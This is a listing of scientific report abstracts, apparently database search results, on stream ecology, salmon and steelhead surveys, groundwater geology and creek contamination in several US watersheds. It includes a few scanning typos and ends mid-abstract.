The objectives are: (1) Estimate number and distribution of spring Chinook salmon Oncorhynchus tshawytscha redds and spawners in the John Day River subbasin; and (2) Estimate smolt-to-adult survival rates (SAR) and out-migrant abundance for spring Chinook and summer steelhead O. mykiss and life history characteristics of summer steelhead. Spawning ground surveys for spring (stream-type) Chinook salmon were conducted in four main spawning areas (Mainstem, Middle Fork, North Fork, and Granite Creek System) and seven minor spawning areas (South Fork, Camas Creek, Desolation Creek, Trail Creek, Deardorff Creek, Clear Creek, and Big Creek) in the John Day River basin during Augustmore » and September of 2005. Census surveys included 298.2 river kilometers (88.2 rkm within index, 192.4 rkm additional within census, and 17.6 rkm within random survey areas) of spawning habitat. We observed 902 redds and 701 carcasses including 227 redds in the Mainstem, 178 redds in the Middle Fork, 420 redds in the North Fork, 62 redds in the Granite Creek System, and 15 redds in Desolation Creek. Age composition of carcasses sampled for the entire basin was 1.6% age 3, 91.2% age 4, and 7.1% age 5. The sex ratio was 57.4% female and 42.6% male. Significantly more females than males were observed in the Granite Creek System. During 2005, 82.3% of female carcasses sampled had released all of their eggs. Significantly more pre-spawn mortalities were observed in Granite Creek. Nine (1.3%) of 701 carcasses were of hatchery origin. Of 298 carcasses examined, 4.0% were positive for the presence of lesions. A significantly higher incidence of gill lesions was found in the Granite Creek System when compared to the rest of the basin. Of 114 kidney samples tested, two (1.8%) had clinical BKD levels. Both infected fish were age-4 females in the Middle Fork. All samples tested for IHNV were negative. To estimate spring Chinook and summer steelhead smolt-to-adult survival (SAR) we PIT tagged 5,138 juvenile Chinook and 4,913 steelhead during the spring of 2005. We estimated that 130,144 (95% CL's 97,133-168,409) Chinook emigrated from the upper John Day subbasin past our seining area in the Mainstem John Day River (river kilometers 274-296) between February 4 and June 16, 2005. We also estimated that 32,601 (95% CL's 29,651 and 36,264) Chinook and 47,921 (95% CL's 35,025 and 67,366) steelhead migrated past our Mainstem rotary screw trap at river kilometer (rkm) 326 between October 4, 2004 and July 6, 2005. We estimated that 20,193 (95% CL's 17,699 and 22,983) Chinook and 28,980 (95% CL's 19,914 and 43,705) steelhead migrated past our Middle Fork trap (rkm 24) between October 6, 2004 and June 17, 2005. Seventy three percent of PIT tagged steelhead migrants were age-2 fish, 13.8% were age-3, 12.7% were age-2, and 0.3% were age 4. Spring Chinook SAR for the 2002 brood year was estimated at 2.5% (100 returns of 4,000 PIT tagged smolts). Preliminary steelhead SAR (excluding 2-ocean fish) for the 2004 tagging year was estimated at 1.61% (60 returns of 3,732 PIT-tagged migrants).« less

Geology and ground-water resources of the Big Sandy Creek Valley, Lincoln, Cheyenne, and Kiowa Counties, Colorado; with a section on Chemical quality of the ground water

USGS Publications Warehouse

Coffin, Donald L.; Horr, Clarence Albert

1967-01-01

This report describes the geology and ground-water resources of that part of the Big Sandy Creek valley from about 6 miles east of Limon, Colo., downstream to the Kiowa County and Prowers County line, an area of about 1,400 square miles. The valley is drained by Big Sandy Creek and its principal tributary, Rush Creek. The land surface ranges from flat to rolling; the most irregular topography is in the sandhills south and west of Big Sandy Creek. Farming and livestock raising are the principal occupations. Irrigated lands constitute only a sin311 part of the project area, but during the last 15 years irrigation has expanded. Exposed rocks range in age from Late Cretaceous to Recent. They comprise the Carlile Shale, Niobrara Formations, Pierre Shale (all Late Cretaceous), upland deposits (Pleistocene), valley-fill deposits (Pleistocene and Recent), and dune sand (Pleistocene and Recent). Because the Upper Cretaceous formations are relatively impermeable and inhibit water movement, they allow ground water to accumul3te in the overlying unconsolidated Pleistocene and Recent deposits. The valley-fill deposits constitute the major aquifer and yield as much as 800 gpm (gallons per mixture) to wells along Big Sandy and Rush Creeks. Transmissibilities average about 45,000 gallons per day per foot. Maximum well yields in the tributary valleys are about 200 gpm and average 5 to 10 gpm. The dune sand and upland deposits generally are drained and yield water to wells in only a few places. The ground-water reservoir is recharged only from direct infiltration of precipitation, which annually averages about 12 inches for the entire basin, and from infiltration of floodwater. Floods in the ephemeral Big Sandy Creek are a major source of recharge to ground-water reservoirs. Observations of a flood near Kit Carson indicated that about 3 acre-feet of runoff percolated into the ground-water reservoir through each acre of the wetted stream channel The downstream decrease in channel and flood-plain width indicates that floodflows percolate to the ground-water reservoir. In the project area at least 94,000 acre-feet of water is evaporated and transpired from the valley fill along Big Sandy Creek, 1,500 acre-feet is pumped, 250 acre-feet leaves the area as underflow, and 10,000 acre-feet leaves as surface flow. Surface-water irrigation has been unsuccessful because of the failure of diversion dams and because of excessive seepage from reservoirs. Ground-water irrigation dates from about World War I; most of the 30 irrigation wells now in use, however, were drilled after 1937. Iv 1960 less than 1,000 acre-feet of water was pumped for irrigation, about 500 acre-feet was pumped for municipal use, and less than 10 acre-feet was pumped for rural use (stock and domestic). Although additional water is available in the valley-fill deposits of Big Sandy and Rush Creeks, large-scale irrigation probably will not develop in the immediate future; soils are unsuitable for crops in many places, and large water supplies are not available from individual wells. The dissolved-solids content of the ground water in the valley-fill deposits ranges from 507 to 5,420 parts per million. In the Big Sandy Creek valley the dissolved-solids content generally increases downstream, whereas in the Rush Creek valley the dissolved-solids content decreases downstream. Ground water in the Big Sandy Creek valley is suitable for most uses.

Fish Research Project Oregon; Aspects of Life History and Production of Juvenile Oncorhynchus Mykiss in the Grande Ronde River Basin, Northeast Oregon, 1995-1999 Summary Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Van Dyke, Erick S.; Jonnasson, Brian C.; Carmichael, Richard W.

2001-07-01

Rotary screw traps, located at four sites in the Grande Ronde River basin, were used to characterize aspects of early life history exhibited by juvenile Onchorhychus mykiss during migration years 1995-99. The Lostine, Catherine Creek and upper Grande Ronde traps captured fish as they migrated out of spawning areas into valley rearing habitats. The Grande Ronde Valley trap captured fish as they left valley habitats downstream of Catherine Creek and upper Grande Ronde River rearing habitats. Dispersal downstream of spawning areas was most evident in fall and spring, but movement occurred during all seasons that the traps were fished. Seawardmore » migration occurred primarily in spring when O. mykiss smolts left overwintering area located in both spawning area and valley habitats. Migration patterns exhibited by O. mykiss suggest that Grande Ronde Valley habitats are used for overwintering and should be considered critical rearing habitat. We were unable to positively differentiate anadromous and resident forms of O. mykiss in the Grande Ronde River basin because both forms occur in our study area. The Grande Ronde Valley trap provided the best information on steelhead production in the basin because it fished below valley habitats where O. mykiss overwinter. Length frequency histograms of O. mykiss captured below upper spawning and rearing habitats showed a bimodal distribution regardless of the season of capture. Scale analyses suggested that each mode represents a different brood year. Length frequency histograms of O. mykiss captured in the Grande Ronde Valley trap were not bimodal, and primarily represented a size range consistent with other researchers' accounts of anadromous smolts.« less

Variations in water temperature and implications for trout populations in the Upper Schoharie Creek and West Kill, New York, USA

USGS Publications Warehouse

George, Scott D.; Baldigo, Barry P.; Smith, Martyn J.; Mckeown, Donald M; Faulringer, Jason

2016-01-01

Water temperature is a key component of aquatic ecosystems because it plays a pivotal role in determining the suitability of stream and river habitat to most freshwater fish species. Continuous temperature loggers and airborne thermal infrared (TIR) remote sensing were used to assess temporal and spatial temperature patterns on the Upper Schoharie Creek and West Kill in the Catskill Mountains, New York, USA. Specific objectives were to characterize (1) contemporary thermal conditions, (2) temporal and spatial variations in stressful water temperatures, and (3) the availability of thermal refuges. In-stream loggers collected data from October 2010 to October 2012 and showed summer water temperatures exceeded the 1-day and 7-day thermal tolerance limits for trout survival at five of the seven study sites during both summers. Results of the 7 August 2012 TIR indicated there was little thermal refuge at the time of the flight. About 690,170 m2 of water surface area were mapped on the Upper Schoharie, yet only 0.009% (59 m2) was more than 1.0 °C below the median water surface temperature (BMT) at the thalweg and no areas were more than 2.0 °C BMT. On the West Kill, 79,098 m2 were mapped and 0.085% (67 m2) and 0.018% (14 m2) were BMT by 1 and 2 °C, respectively. These results indicate that summer temperatures in the majority of the study area are stressful for trout and may adversely affect growth and survival. Validation studies are needed to confirm the expectation that resident trout are in poor condition or absent from the downstream portion of the study area during warm-water periods.

Didymosphenia geminata in the Upper Esopus Creek: Current Status, Variability, and Controlling Factors

PubMed Central

George, Scott Daniel; Baldigo, Barry Paul

2015-01-01

In May of 2009, the bloom-forming diatom Didymosphenia geminata was first identified in the Upper Esopus Creek, a key tributary to the New York City water-supply and a popular recreational stream. The Upper Esopus receives supplemental flows from the Shandaken Portal, an underground aqueduct delivering waters from a nearby basin. The presence of D. geminata is a concern for the local economy, water supply, and aquatic ecosystem because nuisance blooms have been linked to degraded stream condition in other regions. Here we ascertain the extent and severity of the D. geminata invasion, determine the impact of supplemental flows from the Portal on D. geminata, and identify potential factors that may limit D. geminata in the watershed. Stream temperature, discharge, and water quality were characterized at select sites and periphyton samples were collected five times at 6 to 20 study sites between 2009 and 2010 to assess standing crop, diatom community structure, and density of D. geminata and all diatoms. Density of D. geminata ranged from 0–12 cells cm-2 at tributary sites, 0–781 cells cm-2 at sites upstream of the Portal, and 0–2,574 cells cm-2 at sites downstream of the Portal. Survey period and Portal (upstream or downstream) each significantly affected D. geminata cell density. In general, D. geminata was most abundant during the November 2009 and June 2010 surveys and at sites immediately downstream of the Portal. We found that D. geminata did not reach nuisance levels or strongly affect the periphyton community. Similarly, companion studies showed that local macroinvertebrate and fish communities were generally unaffected. A number of abiotic factors including variable flows and moderate levels of phosphorous and suspended sediment may limit blooms of D. geminata in this watershed. PMID:26148184

Geochemical baseline studies and relations between water quality and streamflow in the upper Blackfoot Watershed, Montana: data for July 1997-December 1998

USGS Publications Warehouse

Nagorski, Sonia A.; Moore, Johnnie N.; Smith, David B.

2001-01-01

We used ultraclean sampling techniques to study the solute (operationally defined as <0.2 ?m) surface water geochemistry at five sites along the Upper Blackfoot River and four sites along the Landers Fork, some in more detail and more regularly than others. We collected samples also from Hogum Creek, a tributary to the Blackfoot, from Copper Creek, a tributary to the Landers Fork, and from ground water seeps contributing to the flow along the Landers Fork. To better define the physical dynamics of the hydrologic system and to determine geochemical loads, we measured streamflow at all the sites where we took samples for water quality analysis. The Upper Blackfoot River, which drains historic mines ca. 20 Km upstream of the study area, had higher trace metal concentrations than did the Landers Fork, which drains the pristine Scapegoat Wilderness area. In both rivers, many of the major elements were inversely related to streamflow, and at some sites, several show a hysteresis effect in which the concentrations were lower on the rising limb of the hydrograph than on the falling limb. However, many of the trace elements followed far more irregular trends, especially in the Blackfoot River. Elements such as As, Cu, Fe, Mn, S, and Zn exhibited complex and variable temporal patterns, which included almost no response to streamflow differences, increased concentrations following a summer storm and at the start of snowmelt in the spring, and/or increased concentrations throughout the course of spring runoff. In summary, complex interactions between the timing and magnitude of streamflow with physical and chemical processes within the watershed appeared to greatly influence the geochemistry at the sites, and streamflow values alone were not good predictors of solute concentrations in the rivers.

Long-term ground-water monitoring program and performance-evaluation plan for the extraction system at the former Nike Missile Battery Site, Aberdeen Proving Ground, Maryland

USGS Publications Warehouse

Senus, Michael P.; Tenbus, Frederick J.

2000-01-01

This report presents lithologic and ground-water-quality data collected during April and May 2000 in the remote areas of the tidal wetland of West Branch Canal Creek, Aberdeen Proving Ground, Maryland. Contamination of the Canal Creek aquifer with volatile organic compounds has been documented in previous investigations of the area. This study was conducted to investigate areas that were previously inaccessible because of deep mud and shallow water, and to support ongoing investigations of the fate and transport of volatile organic compounds in the Canal Creek aquifer. A unique vibracore drill rig mounted on a hovercraft was used for drilling and ground-water sampling. Continuous cores of the wetland sediment and of the Canal Creek aquifer were collected at five sites. Attempts to sample ground water were made by use of a continuous profiler at 12 sites, without well installation, at a total of 81 depths within the aquifer. Of those 81 attempts, only 34 sampling depths produced enough water to collect samples. Ground-water samples from two sites had the highest concentrations of volatile organic compounds?with total volatile organic compound concentrations in the upper part of the aquifer ranging from about 15,000 to 50,000 micrograms per liter. Ground-water samples from five sites had much lower total volatile organic compound concentrations (95 to 2,100 micrograms per liter), whereas two sites were essentially not contaminated, with total volatile organic compound concentrations less than or equal to 5 micrograms per liter.

Stratigraphy and Facies of Cretaceous Schrader Bluff and Prince Creek Formations in Colville River Bluffs, North Slope, Alaska

USGS Publications Warehouse

Flores, Romeo M.; Myers, Mark D.; Houseknecht, David W.; Stricker, Gary D.; Brizzolara, Donald W.; Ryherd, Timothy J.; Takahashi, Kenneth I.

2007-01-01

Stratigraphic and sedimentologic studies of facies of the Upper Cretaceous rocks along the Colville River Bluffs in the west-central North Slope of Alaska identified barrier shoreface deposits consisting of vertically stacked, coarsening-upward parasequences in the Schrader Bluff Formation. This vertical stack of parasequence deposits represents progradational sequences that were affected by shoaling and deepening cycles caused by fluctuations of sea level. Further, the vertical stack may have served to stabilize accumulation of voluminous coal deposits in the Prince Creek Formation, which formed braided, high-sinuosity meandering, anastomosed, and low-sinuosity meandering fluvial channels and related flood plain deposits. The erosional contact at the top of the uppermost coarsening-upward sequence, however, suggests a significant drop of base level (relative sea level) that permitted a semiregional subaerial unconformity to develop at the contact between the Schrader Bluff and Prince Creek Formations. This drop of relative sea level may have been followed by a relative sea-level rise to accommodate coal deposition directly above the unconformity. This rise was followed by a second drop of relative sea level, with formation of incised valley topography as much as 75 ft deep and an equivalent surface of a major marine erosion or mass wasting, or both, either of which can be traced from the Colville River Bluffs basinward to the subsurface in the west-central North Slope. The Prince Creek fluvial deposits represent late Campanian to late Maastrichtian depositional environments that were affected by these base level changes influenced by tectonism, basin subsidence, and sea-level fluctuations.

Preliminary thermal-maturity map of the Cameo and Fairfield or equivalent coal zone in the Piceance Creek Basin, Colorado

USGS Publications Warehouse

Nuccio, Vito F.; Johnson, Ronald C.

1983-01-01

This map was prepared in cooperation with the U.S. Department of Energy's Western Gas Sands Project and was constructed to show the thermal maturity of the Upper Cretaceous Mesaverde Formation (or Group) in the Piceance Creek Basin. The ability of a source rock to generate oil and gas is directly related to its kerogen content and thermal maturity; hence, thermal maturity is commonly used as an exploration tool. This publication consists of two parts: a coal rank map for the basinwide Cameo and Fairfield or equivalent coal zone and three cross sections showing the variation in a coal rank for the entire Mesaverde. Structure contours on the map show the top of the Rollins Sandstone Member of the Mesaverde Formation and its equivalent the Trout Creek Sandstone Member of the Iles Formation of the Mesaverde Group, which immediately underlie the Cameo and Fairfield zone. The structure contours show the fairly strong correlation between structure and coal rank in the basin, suggesting that maximum overburden was the key factor in determining the coal ranks. Even in the southern part of the basin where extensive plutonism occurred during the Oligocene, coal ranks still generally follow structure; indicating that the plutons had little affect on the coals. On the cross sections both the top of the Rollins and Trout Creek, and the top of the Mesaverde Formation/Group are shown. A complete analysis of the entire Mesaverde in the basin would require more information than is presently available.

Hydrogeologic framework, ground-water geochemistry, and assessment of nitrogen yield from base flow in two agricultural watersheds, Kent County, Maryland

USGS Publications Warehouse

Bachman, L.J.; Krantz, D.E.; Böhlke, John Karl

2002-01-01

Hydrostratigraphic and geochemical data collected in two adjacent watersheds on the Delmarva Peninsula, in Kent County, Maryland, indicate that shallow subsurface stratigraphy is an important factor that affects the concentrations of nitrogen in ground water discharging as stream base flow. The flux of nitrogen from shallow aquifers can contribute substantially to theeutrophication of streams and estuaries, degrading water quality and aquatic habitats. The information presented in this report includes a hydrostratigraphic framework for the Locust Grove study area, analyses and interpretation of ground-water chemistry, and an analysis of nutrient yields from stream base flow. An understanding of the processes by which ground-waternitrogen discharges to streams is important for optimal management of nutrients in watersheds in which ground-water discharge is an appreciable percentage of total streamflow. The U.S. Geological Survey, in cooperation with the U.S. Environmental Protection Agency (USEPA), collected and analyzed hydrostratigraphic and geochemical data in support ofground-water flow modeling by the USEPA.The adjacent watersheds of Morgan Creek and Chesterville Branch have similar topography and land use; however, reported nitrogen concentrations are generally 6 to 10 milligrams per liter in Chesterville Branch but only 2 to 4 milligrams per liter in Morgan Creek. Ground water in the surficial aquifer in the recharge areas of both streams has high concentrations of nitrate(greater than 10 milligrams per liter as N) and dissolved oxygen. One component of the ground water discharging to Morgan Creek typically is anoxic and contains virtually no dissolved nitrate; most of the ground water discharging to Chesterville Branch is oxygenated and contains moderately high concentrations of nitrate.The surficial aquifer in the study area is composed of the deeply weathered sands and gravels of the Pensauken Formation (the Columbia aquifer) and the underlying glauconitic sands of the upper Aquia Formation (the Aquia aquifer). The lower 6 to 9 meters of the Aquia Formation is a low-permeability silt-clay with abundant glauconite. The Aquia confining layer underliesthe Columbia-Aquia surficial aquifer throughout the study area. The sediment redox transition, identified in cores, that occurs in the upper 0.5 to 1 meter of the Aquia confining layer is thought to be a site for subsurface denitrification of ground water. The first confined aquifer is composed of the glauconitic sands in the upper 9 to 11 meters of the Hornerstown Formation. TheHornerstown aquifer is underlain by 10 to 15 meters of glauconitic silt-clay at the base of the Hornerstown Formation (the Hornerstown confining layer), and 5 meters of low-permeability clay in the underlying Severn Formation.The Aquia and Hornerstown Formations dip and thicken to the southeast, and the Aquia confining layer subcrops shallowly (within 5 meters of the land surface) in a band that strikes southwest to northeast across the northern edge of the study area. The surficial aquifer is very thin (generally less than 5 meters) north of Morgan Creek, and the alluvial valley of Morgan Creek has incised into the top of the Aquia confining layer. In contrast, the Aquia confining layer lies 22 meters below Chesterville Branch, and the surficial aquifer approaches 30 meters in thickness (away from the creek).Chemically reduced iron sulfides and glauconite in the Aquia confining layer are likely substrates for denitrification of nitrate in ground water. Evidence from the dissolved concentrations of nitrate, sulfate, iron, argon, and nitrogen gas, and stable nitrogen isotopes support the interpretation that ground water flowing near the top of the Aquia confining layer, or through the confined Hornerstown aquifer, has undergone denitrification. This process appears to have the greatest effect on ground-water chemistry north of Morgan Creek, where the surficial aquifer is thin and a greater percentage of the ground water contacts the Aquia confining layer.The base-flow discharges of total nitrogen from the two watersheds are of similar magnitude, although Chesterville Branch has somewhat higher loads (29,000 kilograms of nitrogen per year) than Morgan Creek (20,000 kilograms of nitrogen per year), although Morgan Creek has a larger drainage area and a greater discharge of water. The base-flow yield of nitrogen (load per unit area) in Chesterville Branch (median of 0.058 grams per second per square kilometer at the outlet) is more than twice that of Morgan Creek (median of 0.022 grams per second per square kilometer at the outlet), reflecting the higher concentration of nitrate in ground water discharging to Chesterville Branch. Total nitrogen concentrations tend to decrease downstream inChesterville Branch and increase downstream in Morgan Creek. The downstream trend in Chesterville Branch may be affected by instream nitrogen uptake and denitrification, and an increasing proportion of older, denitrified ground water in downstream discharge. The downstream trends in Morgan Creek may be affected by inflow from tributaries, downstream changes in the source of discharge water, and downstream changes in the riparian zone, which could affect the processes and degree of denitrification.Although these two watersheds appear to have landscape features (such as topography, land use, and soils) that would produce similar nitrogen discharges, a more detailed examination of landscape features indicates that Chesterville Branch has soils that are slightly better drained, tributary stream outlets at higher altitudes, and a slightly higher percentage of agricultural land. All of these factors have been related to higher nitrogen yields. Nonetheless, most of the data support the interpretation that hydrostratigraphy has the greatest effect in producing the difference in nitrogen yields between the two watersheds.

Evaluation of Lower East Fork Poplar Creek Mercury Sources

DOE Office of Scientific and Technical Information (OSTI.GOV)

Watson, David B.; Brooks, Scott C.; Mathews, Teresa J.

This report summarizes a 3-year research project undertaken to better understand the nature and magnitude of mercury (Hg) fluxes in East Fork Poplar Creek (EFPC). This project addresses the requirements of Action Plan 1 in the 2011 Oak Ridge Reservation-wide Comprehensive Environmental Response, Compensation, and Liability Act Five Year Review (FYR). The Action Plan is designed to address a twofold 2011 FYR issue: (1) new information suggests mobilization of mercury from the upper and lower EFPC streambeds and stream banks is the primary source of mercury export during high-flow conditions, and (2) the current Record of Decision did not addressmore » the entire hydrologic system and creek bank or creek bed sediments. To obtain a more robust watershed-scale understanding of mercury sources and processes in lower EFPC (LEFPC), new field and laboratory studies were coupled with existing data from multiple US Department of Energy programs to develop a dynamic watershed and bioaccumulation model. LEFPC field studies for the project focused primarily on quantification of streambank erosion and an evaluation of mercury dynamics in shallow groundwater adjacent to LEFPC and potential connection to the surface water. The approach to the stream bank study was innovative in using imagery from kayak floats’ surveys from the headwaters to the mouth of EFPC to estimate erosion, coupled with detailed bank soil mercury analyses. The goal of new field assessments and modeling was to generate a more holistic and quantitative understanding of the watershed and the sources, flux, concentration, transformation, and bioaccumulation of inorganic mercury (IHg) and methylmercury (MeHg). Model development used a hybrid approach that dynamically linked a spreadsheet-based physical and chemical watershed model to a systems dynamics, mercury bioaccumulation model for key fish species. The watershed model tracks total Hg and MeHg fluxes and concentrations by examining upstream inputs, floodplain runoff, floodplain leaching, bank soil erosion, and periphyton matrix dynamics. The bioaccumulation model tracks the feeding, growth, and mercury assimilation of representative individual fish through their typical life span using key inputs of fish size, water temperature, and diet. The LEFPC watershed was divided into five modeling reaches, and fluxes and concentrations are assessed at this spatial scale. Following are the key findings of the field and laboratory studies and the watershed and bioaccumulation modeling: • The greatest flux of total mercury (HgT) in LEFPC is related to stormflow transport of Hg-contaminated solids entering the creek because of bank erosion in the upper reaches of the creek. • The second greatest flux originates from upper EFPC (Station 17 representing the exit stream sampling point near the boundary of the Y-12 Complex), and appears to control base flow fluxes. • The observed increase in MeHg concentration and flux from upstream to downstream is related primarily to instream methylation by periphyton and other biological activity. • A meaningful substantial reduction of the HgT flux in LEFPC would require addressing the flux of HgT originating from bank erosion and from Station 17. • Actions to reduce LEFPC floodplain leaching and runoff would not produce much of an impact on HgT or MeHg concentrations or fluxes unless other major sources are eliminated first. This project addresses the Action Plan goal to evaluate the role of LEFPC bank soil sources and to consider the entire EFPC hydrologic system. Model conclusions are dependent on the data available at the time of this assessment. However, a robust understanding and quantification for some mercury-related parameters and relationships is still lacking; there is a continued need for field data collection and modeling improvements. Model predictions should be viewed cautiously, with comparisons of the magnitude of predictions between scenarios being more valid than absolute predictions of concentrations or fluxes. With continued updates and refinement, the watershed-scale model can be a useful, valuable tool for future EFPC research prioritization, technology development, and remedial decision-making.« less

Evolution of Channels Draining Mount St. Helens: Linking Non-Linear and Rapid, Threshold Responses

NASA Astrophysics Data System (ADS)

Simon, A.

2010-12-01

The catastrophic eruption of Mount St. Helens buried the valley of the North Fork Toutle River (NFT) to a depth of up to 140 m. Initial integration of a new drainage network took place episodically by the “filling and spilling” (from precipitation and seepage) of depressions formed during emplacement of the debris avalanche deposit. Channel incision to depths of 20-30 m occurred in the debris avalanche and extensive pyroclastic flow deposits, and headward migration of the channel network followed, with complete integration taking place within 2.5 years. Downstream reaches were converted from gravel-cobble streams with step-pool sequences to smoothed, infilled channels dominated by sand-sized materials. Subsequent channel evolution was dominated by channel widening with the ratio of changes in channel width to changes in channel depth ranging from about 60 to 100. Widening resulted in significant adjustment of hydraulic variables that control sediment-transport rates. For a given discharge over time, flow depths were reduced, relative roughness increased and flow velocity and boundary shear stress decreased non-linearly. These changes, in combination with coarsening of the channel bed with time resulted in systematically reduced rates of degradation (in upstream reaches), aggradation (in downstream reaches) and sediment-transport rates through much of the 1990s. Vertical adjustments were, therefore, easy to characterize with non-linear decay functions with bed-elevation attenuating with time. An empirical model of bed-level response was then created by plotting the total dimensionless change in elevation against river kilometer for both initial and secondary vertical adjustments. High magnitude events generated from the generated from upper part of the mountain, however, can cause rapid (threshold) morphologic changes. For example, a rain-on-snow event in November 2006 caused up to 9 m of incision along a 6.5 km reach of Loowit Creek and the upper NFT. The event triggered a debris flow which cutoff tributary channels to Glacier Creek and redirected Step and Loowit Creeks thereby forcing enhanced flow volumes through the main channel. Very coarse, armored bed materials were mobilized allowing for deep incision into the substrate. Incision continues today at slower rates but it is again the lateral shifting and widening of the channels that is dominant. Low and moderate flows undercut the toe of 30 m-high pyroclastic flow deposits causing significant erosion. As the channel continues to widen incision will attenuate non-linearly. Channels such as the multiple Step Creek channels will coalesce as narrow ridges erode by undercutting and mass failure much as reaches of lower Loowit Creek did in the late 1980’s. The resulting enlarged and over-widened sections will then again (as in downstream reaches) have lowered transporting power.

Hydrogeologic Framework of Onslow County, North Carolina, 2008

USGS Publications Warehouse

Fine, Jason M.

2008-01-01

The unconsolidated sediments that underlie the Onslow County area are composed of interlayered permeable and impermeable beds, which overlie the crystalline basement rocks. The aquifers, composed mostly of sand and limestone, are separated by confining units composed mostly of clay and silt. The aquifers from top to bottom are the surficial, Castle Hayne, Beaufort, Peedee, Black Creek, and Upper and Lower Cape Fear aquifers. For this study, the Castle Hayne aquifer is informally divided into the upper and lower Castle Hayne aquifers. The eight aquifers and seven confining units of the Tertiary and Cretaceous strata beneath Onslow County are presented in seven hydrogeologic sections. The hydrogeologic framework was refined from existing interpretations by using geophysical logs, driller's logs, and other available data from 123 wells and boreholes.

Geochemical Data for Upper Mineral Creek, Colorado, Under Existing Ambient Conditions and During an Experimental pH Modification, August 2005

USGS Publications Warehouse

Runkel, Robert L.; Kimball, Briant A.; Steiger, Judy I.; Walton-Day, Katherine

2009-01-01

Mineral Creek, an acid mine drainage stream in south-western Colorado, was the subject of a water-quality study that employed a paired synoptic approach. Under the paired synoptic approach, two synoptic sampling campaigns were conducted on the same study reach. The initial synoptic campaign, conducted August 22, 2005, documented stream-water quality under existing ambient conditions. A second synoptic campaign, conducted August 24, 2005, documented stream-water quality during a pH-modification experiment that elevated the pH of Mineral Creek. The experimental pH modification was designed to determine the potential reductions in dissolved constituent concentrations that would result from the implementation of an active treatment system for acid mine drainage. During both synoptic sampling campaigns, a solution containing lithium bromide was injected continuously to allow for the calculation of streamflow using the tracer-dilution method. Synoptic water-quality samples were collected from 30 stream sites and 11 inflow locations along the 2-kilometer study reach. Data from the study provide spatial profiles of pH, concentration, and streamflow under both existing and experimentally-altered conditions. This report presents the data obtained August 21-24, 2005, as well as the methods used for sample collection and data analysis.

Selenium impacts on razorback sucker, Colorado River, Colorado II. Eggs.

PubMed

Hamilton, Steven J; Holley, Kathy M; Buhl, Kevin J; Bullard, Fern A

2005-05-01

Effects on hatching and development of fertilized eggs in adult razorback sucker (Xyrauchen texanus) exposed to selenium in flooded bottomland sites near Grand Junction, Colorado, were determined. After 9 months exposure, fish were collected and induced to spawn and eggs collected for inorganic element analyses. A 9-day egg study was conducted with five spawns from Horsethief ponds, six spawns from Adobe Creek channel, and four spawns from North Pond using a reference water and site waters. Selenium concentrations in eggs were 6.5 microg/g from Horsethief, 46 microg/g from Adobe Creek, 38 microg/g from North Pond, and 6.0 microg/g from brood stock. Eggs from young adults had a smaller diameter and higher moisture content than brood stock. There were no differences among the four sources in viability, survival, hatch, hatchability, or mortality of deformed embryos or larvae. Adobe Creek larvae had more deformed embryos in eggs held in site water than held in reference water. There were significant negative correlations between selenium concentrations in adult muscle plugs and percent hatch, egg diameter, and deformities in embryos. Results from this study suggest that selenium contamination in parts of the upper basin of the Colorado River should be a major concern to recovery efforts for endangered fish.

Selenium impacts on razorback sucker, Colorado River, Colorado: II. Eggs

USGS Publications Warehouse

Hamilton, S.J.; Holley, K.M.; Buhl, K.J.; Bullard, F.A.

2005-01-01

Effects on hatching and development of fertilized eggs in adult razorback sucker (Xyrauchen texanus) exposed to selenium in flooded bottomland sites near Grand Junction, Colorado, were determined. After 9 months exposure, fish were collected and induced to spawn and eggs collected for inorganic element analyses. A 9-day egg study was conducted with five spawns from Horsethief ponds, six spawns from Adobe Creek channel, and four spawns from North Pond using a reference water and site waters. Selenium concentrations in eggs were 6.5 μg/g from Horsethief, 46 μg/g from Adobe Creek, 38 μg/g from North Pond, and 6.0 μg/g from brood stock. Eggs from young adults had a smaller diameter and higher moisture content than brood stock. There were no differences among the four sources in viability, survival, hatch, hatchability, or mortality of deformed embryos or larvae. Adobe Creek larvae had more deformed embryos in eggs held in site water than held in reference water. There were significant negative correlations between selenium concentrations in adult muscle plugs and percent hatch, egg diameter, and deformities in embryos. Results from this study suggest that selenium contamination in parts of the upper basin of the Colorado River should be a major concern to recovery efforts for endangered fish.

76 FR 22670 - Black Hills National Forest, Hell Canyon Ranger District, South Dakota, Vestal Project

Federal Register 2010, 2011, 2012, 2013, 2014

2011-04-22

... landscape condition that reduces the potential for high severity wildfire adjacent to the at-risk community... density of pine trees and create a mosaic of structural stages across the landscape. Both commercial...

To Hell, with Dante and Students.

ERIC Educational Resources Information Center

Ostarch, Valerie

1981-01-01

The process of creating a canto in imitation of Dante's "The Inferno" not only enables students to gain a sense of medieval morality and history but also allows them to have an imaginative understanding of their own lives and times. (RL)

Ground-water flow paths and traveltime to three small embayments within the Peconic Estuary, eastern Suffolk County, New York

USGS Publications Warehouse

Schubert, Christopher E.

1999-01-01

The Peconic Estuary, at the eastern end of Long Island, has been plagued by a recurrent algal bloom that has caused the severe decline of local marine resources. Although the onset, duration, and cessation of the bloom remain unpredictable, ground-water discharge has been shown to affect surface-water quality in the western part of the estuary. Results from a study on the North Fork of Long Island indicate that local hydrogeologic factors cause differences in ground-water age and characteristics of discharge to the estuary. The need for information on the local patterns and rates of ground-water discharge to the Peconic Estuary prompted analysis of ground-water flow paths and traveltime to three small embayments within the estuary.Meetinghouse Creek, near the west end of the North Fork; Sag Harbor Cove, in the central part of the South Fork; and West Neck Bay, on Shelter Island.Ground-water-flow models were developed, and particle-tracking procedures were applied to the results of each model, to define the flow paths and traveltime of ground water to the three embayments. The steady-state flow models represent the two-dimensional ground-water-flow system along a vertical section through the uplands of each embayment and simulate long-term hydrologic conditions. The particle-tracking procedure used model-generated ground-water levels and flow rates to calculate the water-particle pathlines and times-of-travel through each flow system from the point of entry (recharge) to the point of exit at streams, the shore, or subsea-discharge areas.Results for the Meetinghouse Creek study area indicate that about 50 percent of the total recharge that enters the system flows southward to Meetinghouse Creek; half of this amount discharges as base flow to the fresh-water reach of the creek, and half as shoreline underflow to the estuarine reach. About 85 percent of the total discharge to Meetinghouse Creek has flowed entirely within the upper glacial aquifer, and about 15 percent has flowed through the Magothy aquifer. The average age of all ground water discharged to Meetinghouse Creek is about 60 years; the average age of base flow to the freshwater reach of the creek is about 7 years, and the average age of shoreline underflow to the estuarine reach is about 120 years. The results for the Sag Harbor Cove study area indicate that about 30 percent of the total recharge that enters the system flows northward to Sag Harbor Cove; about half of this amount discharges as shoreline underflow, and half as subsea underflow. About 40 percent of the total discharge to Sag Harbor Cove has flowed entirely within the upper glacial aquifer, and about 60 percent has 